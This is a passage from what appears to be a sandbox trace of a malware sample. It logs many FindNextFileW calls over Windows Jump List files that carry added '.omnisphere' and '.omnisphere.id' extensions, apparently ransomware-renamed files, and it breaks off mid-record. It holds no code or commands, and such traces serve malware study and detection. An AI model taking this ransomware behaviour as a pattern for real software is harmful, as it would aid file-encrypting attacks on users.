[0128.450] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d415ab5, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d415ab5, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d415ab5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="162797d679096999.automaticDestinations-ms.omnisphere.id", cAlternateFileName="162797~1.ID")) returned 1 [0128.450] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce308d7, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8ce308d7, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2d488042, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x1124, dwReserved0=0x0, dwReserved1=0x0, cFileName="1b4dd67f29cb1962.automaticDestinations-ms.omnisphere", cAlternateFileName="1B4DD6~1.OMN")) returned 1 [0128.450] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d461f00, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d461f00, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d488042, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="1b4dd67f29cb1962.automaticDestinations-ms.omnisphere.id", cAlternateFileName="1B4DD6~1.ID")) returned 1 [0128.450] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6623dd20, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6623dd20, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2d4ae478, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="1b6ebacd7cd2f25a.automaticDestinations-ms.omnisphere", cAlternateFileName="1B6EBA~1.OMN")) returned 1 [0128.450] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d4ae478, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d4ae478, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d4ae478, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="1b6ebacd7cd2f25a.automaticDestinations-ms.omnisphere.id", cAlternateFileName="1B6EBA~1.ID")) returned 1 [0128.450] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66a9610b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x66a9610b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2d4d45c5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="1bc9bbbe61f14501.automaticDestinations-ms.omnisphere", cAlternateFileName="1BC9BB~1.OMN")) returned 1 [0128.450] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d4d45c5, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d4d45c5, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d4d45c5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="1bc9bbbe61f14501.automaticDestinations-ms.omnisphere.id", cAlternateFileName="1BC9BB~1.ID")) returned 1 [0128.451] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f0b5bcc, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3f0b5bcc, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2d520b97, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x1324, dwReserved0=0x0, dwReserved1=0x0, cFileName="319f01bf9fe00f2d.automaticDestinations-ms.omnisphere", cAlternateFileName="319F01~1.OMN")) returned 1 [0128.451] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d520b97, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d520b97, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d520b97, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="319f01bf9fe00f2d.automaticDestinations-ms.omnisphere.id", cAlternateFileName="319F01~1.ID")) returned 1 [0128.451] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x658b4643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x658b4643, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2d546cd2, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="5175b273ceba776b.automaticDestinations-ms.omnisphere", cAlternateFileName="5175B2~1.OMN")) returned 1 [0128.451] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d546cd2, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d546cd2, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d546cd2, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="5175b273ceba776b.automaticDestinations-ms.omnisphere.id", cAlternateFileName="5175B2~1.ID")) returned 1 [0128.451] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x2d5b931b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x4e524, dwReserved0=0x0, dwReserved1=0x0, cFileName="5f7b5f1e01b83767.automaticDestinations-ms.omnisphere", cAlternateFileName="5F7B5F~1.OMN")) returned 1 [0128.451] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d5b931b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d5b931b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d5b931b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="5f7b5f1e01b83767.automaticDestinations-ms.omnisphere.id", cAlternateFileName="5F7B5F~1.ID")) returned 1 [0128.451] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64e6c3a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x64e6c3a5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2d605866, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="61ebb1e65cfcb8da.automaticDestinations-ms.omnisphere", cAlternateFileName="61EBB1~1.OMN")) returned 1 [0128.451] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d605866, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d605866, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d605866, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="61ebb1e65cfcb8da.automaticDestinations-ms.omnisphere.id", cAlternateFileName="61EBB1~1.ID")) returned 1 [0128.451] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef89c12b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef89c12b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x2d651e8a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="6824f4a902c78fbd.automaticDestinations-ms.omnisphere", cAlternateFileName="6824F4~1.OMN")) returned 1 [0128.451] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d651e8a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d651e8a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d651e8a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="6824f4a902c78fbd.automaticDestinations-ms.omnisphere.id", cAlternateFileName="6824F4~1.ID")) returned 1 [0128.451] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66e75d9e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x66e75d9e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2d677f80, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="6d2bac8f1edf6668.automaticDestinations-ms.omnisphere", cAlternateFileName="6D2BAC~1.OMN")) returned 1 [0128.451] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d677f80, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d677f80, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d677f80, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="6d2bac8f1edf6668.automaticDestinations-ms.omnisphere.id", cAlternateFileName="6D2BAC~1.ID")) returned 1 [0128.451] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66669e90, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x66669e90, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2d6c44da, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="75668a91ce73b054.automaticDestinations-ms.omnisphere", cAlternateFileName="75668A~1.OMN")) returned 1 [0128.451] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d6c44da, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d6c44da, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d6c44da, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="75668a91ce73b054.automaticDestinations-ms.omnisphere.id", cAlternateFileName="75668A~1.ID")) returned 1 [0128.451] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67a61ae6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x67a61ae6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2d710869, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="78f0afb5bd4bb278.automaticDestinations-ms.omnisphere", cAlternateFileName="78F0AF~1.OMN")) returned 1 [0128.452] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d6ea63a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d6ea63a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d710869, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="78f0afb5bd4bb278.automaticDestinations-ms.omnisphere.id", cAlternateFileName="78F0AF~1.ID")) returned 1 [0128.452] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37f27bc, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x37f27bc, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2d75d002, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x2524, dwReserved0=0x0, dwReserved1=0x0, cFileName="7e4dca80246863e3.automaticDestinations-ms.omnisphere", cAlternateFileName="7E4DCA~1.OMN")) returned 1 [0128.452] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d75d002, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d75d002, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d75d002, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="7e4dca80246863e3.automaticDestinations-ms.omnisphere.id", cAlternateFileName="7E4DCA~1.ID")) returned 1 [0128.452] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65cba52e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x65cba52e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2d7a93b7, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="80d13f95c2c02af9.automaticDestinations-ms.omnisphere", cAlternateFileName="80D13F~1.OMN")) returned 1 [0128.452] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d7a93b7, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d7a93b7, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d7a93b7, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="80d13f95c2c02af9.automaticDestinations-ms.omnisphere.id", cAlternateFileName="80D13F~1.ID")) returned 1 [0128.452] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6765bb0e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6765bb0e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2d7f5860, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="9c08ad74ad8708df.automaticDestinations-ms.omnisphere", cAlternateFileName="9C08AD~1.OMN")) returned 1 [0128.452] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d7f5860, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d7f5860, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d7f5860, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="9c08ad74ad8708df.automaticDestinations-ms.omnisphere.id", cAlternateFileName="9C08AD~1.ID")) returned 1 [0128.452] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64ad8bc0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x64ad8bc0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2d841ce8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="9cfafb05ce914942.automaticDestinations-ms.omnisphere", cAlternateFileName="9CFAFB~1.OMN")) returned 1 [0128.452] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d81ba61, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d81ba61, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d841ce8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="9cfafb05ce914942.automaticDestinations-ms.omnisphere.id", cAlternateFileName="9CFAFB~1.ID")) returned 1 [0128.452] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b60346b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x1b60346b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x2d88e2c0, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x1124, dwReserved0=0x0, dwReserved1=0x0, cFileName="9d1f905ce5044aee.automaticDestinations-ms.omnisphere", cAlternateFileName="9D1F90~1.OMN")) returned 1 [0128.452] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d88e2c0, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d88e2c0, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d88e2c0, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="9d1f905ce5044aee.automaticDestinations-ms.omnisphere.id", cAlternateFileName="9D1F90~1.ID")) returned 1 [0128.452] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76210a8a, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x76210a8a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0x2d8da5ef, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="b8ab77100df80ab2.automaticDestinations-ms.omnisphere", cAlternateFileName="B8AB77~1.OMN")) returned 1 [0128.452] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d8da5ef, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d8da5ef, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d8da5ef, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="b8ab77100df80ab2.automaticDestinations-ms.omnisphere.id", cAlternateFileName="B8AB77~1.ID")) returned 1 [0128.452] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x646f8d57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x646f8d57, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2d926c6e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="b8b3a97bfbf120b6.automaticDestinations-ms.omnisphere", cAlternateFileName="B8B3A9~1.OMN")) returned 1 [0128.452] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d926c6e, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d926c6e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d926c6e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="b8b3a97bfbf120b6.automaticDestinations-ms.omnisphere.id", cAlternateFileName="B8B3A9~1.ID")) returned 1 [0128.452] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x672a206a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x672a206a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2d9730ba, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="d00655d2aa12ff6d.automaticDestinations-ms.omnisphere", cAlternateFileName="D00655~1.OMN")) returned 1 [0128.453] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d94ccbe, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d94ccbe, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d9730ba, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="d00655d2aa12ff6d.automaticDestinations-ms.omnisphere.id", cAlternateFileName="D00655~1.ID")) returned 1 [0128.453] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf8824c, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0xeaf8824c, ftLastAccessTime.dwHighDateTime=0x1d5826c, ftLastWriteTime.dwLowDateTime=0x2d999204, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xb24, dwReserved0=0x0, dwReserved1=0x0, cFileName="d3d1f068cfd9230e.automaticDestinations-ms.omnisphere", cAlternateFileName="D3D1F0~1.OMN")) returned 1 [0128.453] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d999204, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d999204, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d999204, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="d3d1f068cfd9230e.automaticDestinations-ms.omnisphere.id", cAlternateFileName="D3D1F0~1.ID")) returned 1 [0128.453] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf981f92, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xbf981f92, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x2d9e5858, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xab24, dwReserved0=0x0, dwReserved1=0x0, cFileName="f01b4d95cf55d32a.automaticDestinations-ms.omnisphere", cAlternateFileName="F01B4D~1.OMN")) returned 1 [0128.453] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d9e5858, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d9e5858, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d9e5858, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="f01b4d95cf55d32a.automaticDestinations-ms.omnisphere.id", 